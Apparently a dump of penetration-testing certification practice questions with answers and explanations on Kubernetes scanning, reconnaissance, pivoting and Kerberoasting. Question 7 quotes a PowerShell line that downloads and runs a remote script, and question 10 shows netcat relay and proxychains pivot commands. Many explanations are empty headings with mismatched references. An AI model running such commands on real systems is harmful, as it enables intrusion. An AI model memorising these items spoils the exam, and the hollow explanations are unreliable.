NEW QUESTION 1
A penetration tester performs an assessment on the target company's Kubernetes cluster using kube-hunter. Which of the following types of vulnerabilities could be detected with the tool?

• A. Network configuration errors in Kubernetes services
• B. Weaknesses and misconfigurations in the Kubernetes cluster
• C. Application deployment issues in Kubernetes
• D. Security vulnerabilities specific to Docker containers

Answer: B

Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here??s why option B is correct:
✑ Kube-hunter: It scans Kubernetes clusters to identify security issues, such as
misconfigurations, insecure settings, and potential attack vectors.
✑ Network Configuration Errors: While kube-hunter might identify some network- related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
✑ Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
✑ Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
✑ Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
✑ Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
=================

NEW QUESTION 2
Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

• A. Use steganography and send the file over FTP
• B. Compress the file and send it using TFTP
• C. Split the file in tiny pieces and send it over dnscat
• D. Encrypt and send the file over HTTPS

Answer: D

Explanation:
When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here??s an analysis of each option:
✑ Use steganography and send the file over FTP (Option A):
✑ Compress the file and send it using TFTP (Option B):
✑ Split the file in tiny pieces and send it over dnscat (Option C):
✑ Encrypt and send the file over HTTPS (Answer: D):
Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.

NEW QUESTION 3
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool:
PORT STATE SERVICE
22/tcp open ssh 25/tcp filtered smtp 111/tcp open rpcbind 2049/tcp open nfs
Based on the output, which of the following services provides the best target for launching an attack?

• A. Database
• B. Remote access
• C. Email
• D. File sharing

Answer: D

Explanation:
Based on the Nmap scan results, the services identified on the target server are as follows:
✑ 22/tcp open ssh:
✑ 25/tcp filtered smtp:
✑ 111/tcp open rpcbind:
✑ 2049/tcp open nfs:
Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege escalation.

NEW QUESTION 4
Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

• A. Preserving artifacts
• B. Reverting configuration changes
• C. Keeping chain of custody
• D. Exporting credential data

Answer: A

Explanation:
Preserving artifacts ensures that key outputs from the penetration test, such as logs,
screenshots, captured data, and any generated reports, are retained for analysis, reporting, and future reference.
✑ Importance of Preserving Artifacts:
✑ Types of Artifacts:
✑ Best Practices:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 5
While conducting a reconnaissance activity, a penetration tester extracts the following information:
Emails: - admin@acme.com - sales@acme.com - support@acme.com
Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?

• A. Unauthorized access to the network
• B. Exposure of sensitive servers to the internet
• C. Likelihood of SQL injection attacks
• D. Indication of a data breach in the company

Answer: A

Explanation:
When a penetration tester identifies email addresses during reconnaissance, the most immediate risk to leverage for an attack is unauthorized access to the network. Here??s why:
✑ Phishing Attacks:
✑ Spear Phishing:
✑ Comparison with Other Risks:
Email addresses are a starting point for phishing attacks, making unauthorized access to the network the most relevant risk.
=================

NEW QUESTION 6
A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?

• A. Configure a network scanner engine and execute the scan.
• B. Execute a testing framework to validate vulnerabilities on the devices.
• C. Configure a port mirror and review the network traffic.
• D. Run a network mapper tool to get an understanding of the devices.

Answer: C

Explanation:
When testing a power plant's network and needing to avoid disruption to the grid, configuring a port mirror and reviewing the network traffic is the most appropriate method to identify vulnerabilities without causing disruptions.
✑ Port Mirroring:
✑ Avoiding Disruption:
✑ Other Options:
Pentest References:
✑ Passive Monitoring: Passive techniques such as port mirroring are essential in environments where maintaining operational integrity is critical.
✑ Critical Infrastructure Security: Understanding the need for non-disruptive methods in critical infrastructure penetration testing to ensure continuous operations.
By configuring a port mirror and reviewing network traffic, the penetration tester can identify vulnerabilities in the power plant's network without risking disruption to the grid.
=================

NEW QUESTION 7
Given the following script:
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1] If ($1 -eq "administrator") {
echo IEX(New-Object Net.WebClient).Downloadstring('http://10.10.11.12:8080/ul/windows.ps1') | powershell - noprofile -}
Which of the following is the penetration tester most likely trying to do?

• A. Change the system's wallpaper based on the current user's preferences.
• B. Capture the administrator's password and transmit it to a remote server.
• C. Conditionally stage and execute a remote script.
• D. Log the internet browsing history for a systems administrator.

Answer: C

Explanation:
✑ Script Breakdown:
✑ Purpose:
✑ Why This is the Best Choice:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 8
During an engagement, a penetration tester found some weaknesses that were common
across the customer??s entire environment. The weaknesses included the following:
✑ Weaker password settings than the company standard
✑ Systems without the company's endpoint security software installed
✑ Operating systems that were not updated by the patch management system
Which of the following recommendations should the penetration tester provide to address the root issue?

• A. Add all systems to the vulnerability management system.
• B. Implement a configuration management system.
• C. Deploy an endpoint detection and response system.
• D. Patch the out-of-date operating systems.

Answer: B

Explanation:
✑ Identified Weaknesses:
✑ Configuration Management System:
✑ Other Recommendations:
Pentest References:
✑ System Hardening: Ensuring all systems adhere to security baselines and configurations to reduce attack surfaces.
✑ Automation in Security: Using configuration management tools to automate security practices, ensuring compliance and reducing manual errors.
Implementing a configuration management system addresses the root issue by ensuring consistent security configurations, software deployments, and patch management across the entire environment.
=================

NEW QUESTION 9
A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

• A. Sniffing
• B. Banner grabbing
• C. TCP/UDP scanning
• D. Ping sweeps

Answer: A

Explanation:
To gather information about the network without causing detection mechanisms to flag the reconnaissance activities, the penetration tester should use sniffing.
✑ Sniffing:
✑ Advantages:
✑ Comparison with Other Techniques:
Pentest References:
✑ Reconnaissance Phase: Using passive techniques like sniffing during the initial reconnaissance phase helps gather information without alerting the target.
✑ Network Analysis: Understanding the network topology and identifying key assets and vulnerabilities without generating traffic that could trigger alarms.
By using sniffing, the penetration tester can gather detailed information about the network in a stealthy manner, minimizing the risk of detection.
=================

NEW QUESTION 10
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

• A. attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22
• B. attacker_host$ mknod backpipe p attacker_host$ nc -l -p 8000 | 0<backpipe | nc<target_cidr> 80 | tee backpipe
• C. attacker_host$ nc -nlp 8000 | nc -n <target_cidr> attacker_host$ nmap -sT 127.0.0.1 8000
• D. attacker_host$ proxychains nmap -sT <target_cidr>

Answer: D

Explanation:
ProxyChains is a tool that allows you to route your traffic through a chain of proxy servers, which can be used to anonymize your network activity. In this context, it is being used to route Nmap scan traffic through the compromised host, allowing the penetration tester to pivot and enumerate other targets within the network.
✑ Understanding ProxyChains:
✑ Command Breakdown:
✑ Setting Up ProxyChains: Step-by-Step Explanationplaintext Copy code
socks4 127.0.0.1 1080
✑ Execution:
proxychains nmap -sT <target_cidr>
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 11
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?

• A. SAST
• B. Sidecar
• C. Unauthenticated
• D. Host-based

Answer: C

Explanation:
To see any vulnerabilities that may be visible from outside of the organization, the penetration tester should perform an unauthenticated scan.
✑ Unauthenticated Scan:
✑ Comparison with Other Scans:
✑ Pentest References:
By performing an unauthenticated scan, the penetration tester can identify vulnerabilities that an external attacker could exploit without needing any credentials or internal access.
=================

NEW QUESTION 12
A penetration testing team wants to conduct DNS lookups for a set of targets provided by the client. The team crafts a Bash script for this task. However, they find a minor error in one line of the script:
1 #!/bin/bash
2 for i in $(cat example.txt); do
3 curl $i
4 done
Which of the following changes should the team make to line 3 of the script?

• A. resolvconf $i
• B. rndc $i
• C. systemd-resolve $i
• D. host $i

Answer: D

Explanation:
✑ Script Analysis:
✑ Error Identification:
✑ Correct Command:
✑ Corrected Script:
Pentest References:
✑ In penetration testing, DNS enumeration is a crucial step. It involves querying DNS servers to gather information about the target domain, which includes resolving domain names to IP addresses and vice versa.
✑ Common tools for DNS enumeration include host, dig, and nslookup. The host command is particularly straightforward for simple DNS lookups.
By correcting the script to use host $i, the penetration testing team can effectively perform DNS lookups on the targets specified in example.txt.
=================

NEW QUESTION 13
Which of the following describes the process of determining why a vulnerability scanner is not providing results?

• A. Root cause analysis
• B. Secure distribution
• C. Peer review
• D. Goal reprioritization

Answer: A

Explanation:
Root cause analysis involves identifying the underlying reasons why a problem is occurring. In the context of a vulnerability scanner not providing results, performing a root cause analysis would help determine why the scanner is failing to deliver the expected output. Here??s why option A is correct:
✑ Root Cause Analysis: This is a systematic process used to identify the fundamental reasons for a problem. It involves investigating various potential causes and pinpointing the exact issue that is preventing the vulnerability scanner from working correctly.
✑ Secure Distribution: This refers to the secure delivery and distribution of software or updates, which is not relevant to troubleshooting a vulnerability scanner.
✑ Peer Review: This involves evaluating work by others in the same field to ensure quality and accuracy, but it is not directly related to identifying why a tool is malfunctioning.
✑ Goal Reprioritization: This involves changing the priorities of goals within a project, which does not address the technical issue of the scanner not working.
References from Pentest:
✑ Horizontall HTB: Demonstrates the process of troubleshooting and identifying issues with tools and their configurations to ensure they work correctly.
✑ Writeup HTB: Emphasizes the importance of thorough analysis to understand why certain security tools may fail during an assessment.
=================

NEW QUESTION 14
SIMULATION
You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 15
SIMULATION
A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets.
INSTRUCTIONS

• A. Yes
• B. Not Mastered

Answer: A

NEW QUESTION 16
During an assessment, a penetration tester runs the following command: setspn.exe -Q /
Which of the following attacks is the penetration tester preparing for?

• A. LDAP injection
• B. Pass-the-hash
• C. Kerberoasting
• D. Dictionary

Answer: C

Explanation:
Kerberoasting is an attack that involves requesting service tickets for service accounts from a Kerberos service, extracting the service tickets, and attempting to crack them offline to retrieve the plaintext passwords.
✑ Understanding Kerberoasting:
✑ Command Breakdown:
✑ Kerberoasting Steps:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
=================

NEW QUESTION 17
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